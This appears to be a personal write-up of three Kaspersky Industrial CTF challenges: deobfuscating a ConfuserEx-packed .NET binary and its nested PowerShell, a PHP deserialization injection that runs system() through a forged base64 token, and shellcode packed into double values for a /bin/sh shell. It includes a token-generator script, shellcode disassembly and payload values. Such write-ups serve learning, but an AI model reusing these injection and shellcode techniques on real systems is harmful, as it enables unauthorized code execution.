I joined in Kaspersky Industrial CTF as insecure
and solved 3 challanges.
I think I was close to the answer of CutTheRop, but couldn't make it......
Anyway, I really enjoyed the CTF!
[re 587] glardomos
Description: Find the flag inside the binary File: Glardomos.exe
The executable is built with .NET framework but obfuscated by ConfuserEx v1.0.0.
I used ConfuserEx-Unpacker and de4dot to deobfuscate the binary.
I removed the anti-tamper and proxy calls, and decrypted some strings with ConfuserEx-Unpacker. After that I opened the cleaned executable with dnSpy, but it was still obfuscated. I used de4dot to remove the rest of the obfuscation, and I got a deobfuscated executable finally.
The program decrypts an AES cipher and invokes the following PowerShell script:
$flag="<input flag>"; <decrypted ciphertext>
So, the decrypted text is the code that checks our flag. I run the debugger and retrieved the script:
. ((varIAbLe '*MDR*').NAME[3,11,2]-jOiN'') ( -jOIn('5b{73r74Z52<49r6eJ47%5d<3a;3ar6a!6f!69 [snipped] 4e<27<27Z29'.SPlit('Z!%<{r;J') |% { ( [CONvErt]::TOint16( ( [STriNg]$_ ) ,16 )-AS[CHar])} ))
The PowerShell script is obfuscated. I simply used echo to get the deobfuscated script:
iex [stRInG]::joiN( '', [ChAR[]](32 , 34, 36,40, 83, [snipped] , 78 , 39, 39, 41) ) | &((GV '*mdR*').name[3,11,2]-jOIN'')
It's still obfuscated...... Deobfuscate again:
"$(SEt-ItEm 'VariaBlE:oFS' '') "+[sTring]( '1101z [snipped] " | .( $env:comspec[4,15,25]-jOiN'')
Again:
$ a = " a a a a a [snipped]
Newline is inserted after each character, so I removed newlines and got the following script along with the flag:
$a = "aaaaaaaaaaaaaaaaaaaaaaa"; $rv = $FALSE; if ($flag.length - ne 39) {} elseif($flag[0] - ne 'K') {} elseif($flag[1] - ne 'L') {} elseif($flag[2] - ne 'C') {} elseif($flag[3] - ne 'T') {} elseif($flag[4] - ne 'F') {} elseif($flag[5] - ne '{') {} elseif($flag[6] - ne '3') {} elseif($flag[7] - ne '4') {} elseif($flag[8] - ne 'O') {} elseif($flag[9] - ne 'K') {} elseif($flag[10] - ne '3') {} elseif($flag[11] - ne 'B') {} elseif($flag[12] - ne 'P') {} elseif($flag[13] - ne 'K') {} elseif($flag[14] - ne '3') {} elseif($flag[15] - ne '3') {} elseif($flag[16] - ne 'H') {} elseif($flag[17] - ne '0') {} elseif($flag[18] - ne 'S') {} elseif($flag[19] - ne 'Z') {} elseif($flag[20] - ne 'X') {} elseif($flag[21] - ne '3') {} elseif($flag[22] - ne 'Y') {} elseif($flag[23] - ne 'Z') {} elseif($flag[24] - ne 'X') {} elseif($flag[25] - ne 'N') {} elseif($flag[26] - ne '2') {} elseif($flag[27] - ne 'V') {} elseif($flag[28] - ne 'C') {} elseif($flag[29] - ne 'J') {} elseif($flag[30] - ne 'V') {} elseif($flag[31] - ne '2') {} elseif($flag[32] - ne '4') {} elseif($flag[33] - ne 'C') {} elseif($flag[34] - ne 'P') {} elseif($flag[35] - ne '6') {} elseif($flag[36] - ne 'Y') {} elseif($flag[37] - ne 'H') {} elseif($flag[38] - ne '}') {} else { $rv = $TRUE; } if ($rv) { Write - Output "Success!" } else { Write - Output "Failed!" } +
[web 50] expression
Description: http://expression.2018.ctf.kaspersky.com/
It's a simple application which calculates a binary arithmetic operation. It also has a function to share the result.
As we can see below, the token is a base64 encoded string of a serialized object.
$ echo "TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==" | base64 -d | hexdump -C 00000000 4f 3a 31 30 3a 22 45 78 70 72 65 73 73 69 6f 6e |O:10:"Expression| 00000010 22 3a 33 3a 7b 73 3a 31 34 3a 22 00 45 78 70 72 |":3:{s:14:".Expr| 00000020 65 73 73 69 6f 6e 00 6f 70 22 3b 73 3a 33 3a 22 |ession.op";s:3:"| 00000030 73 75 6d 22 3b 73 3a 31 38 3a 22 00 45 78 70 72 |sum";s:18:".Expr| 00000040 65 73 73 69 6f 6e 00 70 61 72 61 6d 73 22 3b 61 |ession.params";a| 00000050 3a 32 3a 7b 69 3a 30 3b 64 3a 31 3b 69 3a 31 3b |:2:{i:0;d:1;i:1;| 00000060 64 3a 32 3b 7d 73 3a 39 3a 22 73 74 72 69 6e 67 |d:2;}s:9:"string| 00000070 69 66 79 22 3b 73 3a 35 3a 22 31 20 2b 20 32 22 |ify";s:5:"1 + 2"| 00000080 3b 7d |;}| 00000082
The operation in this example is sum
.
I changed it into foobar
and got an error.
This error shows us that we can call a function written in op
and pass params
as arguments.
Let's try system("ls");
then.
I wrote a code to generate a token.
import base64 op = 'system' param = 'ls /' stringify = "whatever" obj = 'O:10:"Expression":3:{{s:14:"\x00Expression\x00op";s:{0}:"{1}";s:18:"\x00Expression\x00params";s:{2}:"{3}";s:9:"stringify";s:{4}:"{5}";}}'.format( len(op), op, len(param), param, len(stringify), stringify ) print(obj) print(base64.b64encode(obj))
I sent the token and got a list of files.
I found the flag in the root directory.
[pwn 635] doubles
Description: nc doubles.2018.ctf.kaspersky.com 10001 File: doubles
We are given a 64-bit ELF as shown below.
$ checksec doubles [*] '/home/ptr/kasp/doubles/doubles' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
The following flow is the overview of this program.
- It allocates a region of 0x1000 bytes long with a permission of RWX.
- It asks us an integer
n
, which must be between 0 and 7. - We can enter n numbers (double ) and each number is stored into the allocated region one by one.
- 0x909090909090C031 is stored at the allocated region + 0x70.
- The average of the n numbers is stored at the allocated region + 0x78.
- Every general register (including rsp) is set to zero.
- The rip jumps to the allocated region + 0x70.
So, what we have to do is make a valid shellcode and somehow make the program run it. A "double" number is stored in the memory as an 8-byte data. In order to make a shellcode, we have to send a sequence of decimals which consist a shellcode in binary expression. However, there are several difficulties.
We have to make the average of the n values to become a valid machine code to jump to the head of the shellcode.
Each piece of the shellcode must be a valid "double" value.
So far, we cannot use the stack because the rsp is set to zero.
The first problem can be solved by making the jump code much bigger than others. If a value is much bigger than others, the sum of the n values will still remain to be the big one, which means we can control the average of the n values. The MSB of a double value is a sign bit, and the following 11 bits indicates the exponents. We can express a very big value by making the exponents large.
The second problem is troublesome. We have to insert some NOPs in order to make the exponents valid.
The third problem is also hard. I solved this problem by setting rsp to rip+0x100. This works because the program allocated 0x1000 bytes at first. However, we have to make the shellcode within 40 bytes because we can send 6 values, and 1 of them is used as a jump code.
After many attempts, I finally found out a valid shellcode which can be expressed as a sequence of valid "double" values within 40 bytes, and the average becomes a jump code.
0: 90 nop 1: 48 bb 2f 2f 62 69 6e movabs rbx,0x68732f6e69622f2f 8: 2f 73 68 b: 48 c1 eb 08 shr rbx,0x8 f: 48 8d 25 00 01 00 00 lea rsp,[rip+0x100] # 0x116 16: 53 push rbx 17: 48 31 c0 xor rax,rax 1a: 48 89 e7 mov rdi,rsp 1d: 50 push rax 1e: 57 push rdi 1f: 48 89 e6 mov rsi,rsp 22: 90 nop 23: b0 3b mov al,0x3b 25: 0f 05 syscall 27: 50 push rax
And the jump code is:
0: 90 nop 1: eb 8e jmp 0xffffffffffffff91 3: 90 nop 4: 90 nop 5: 90 nop 6: 90 nop 7: 72 .byte 0x72
Make sure we have to multiple the jump code by 6 because the average of the 6 values must become the jump code. I successfully got the shell by sending them :-)
jmp: 42414219992596245218001374870023488688887337184171076843703431849255849327244773206282145324118823472177755838157217743990471510797616601566533601020441367279653434504695985248529744545074141311725379574059428460261240719279830427101261962674176.000000 payload: 73403852927206634204109324231838157112777181233551279778921108455681314721939694102746846666328160484625144628588078663273511213524656164349863635915308558201246385194954266786756489034390978793797842144726060589481575055360.000000 payload: 1060018620876817941879053728465635246080.000000 payload: 25861459967167447253438973581629191094272.000000 payload: 31736139535490892940915403351753821782016.000000 payload: 304815503662884820652476385666798698945116784347429914078215724790876265775104.000000 $ ls doubles flag.txt $ cat flag.txt KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh} $